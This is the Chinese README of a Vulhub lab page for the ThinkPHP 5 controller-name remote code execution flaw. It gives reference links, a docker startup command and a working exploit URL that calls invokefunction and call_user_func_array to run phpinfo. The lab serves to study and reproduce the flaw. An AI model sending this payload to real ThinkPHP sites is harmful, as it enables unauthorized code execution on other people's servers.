Files
vulhub/thinkphp/5-rce/README.zh-cn.md
Aaron 63285f61aa
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
first commit
2025-09-06 16:08:15 +08:00

26 lines
792 B
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞
ThinkPHP是一款运用极广的PHP开发框架。其版本5中由于没有正确处理控制器名导致在网站没有开启强制路由的情况下即默认情况下可以执行任意方法从而导致远程命令执行漏洞。
参考链接:
- http://www.thinkphp.cn/topic/60400.html
- http://www.thinkphp.cn/topic/60390.html
- https://xz.aliyun.com/t/3570
## 漏洞环境
运行ThinkPHP 5.0.20版本:
```
docker compose up -d
```
环境启动后,访问`http://your-ip:8080`即可看到ThinkPHP默认启动页面。
## 漏洞复现
直接访问`http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1`即可执行phpinfo
![](1.png)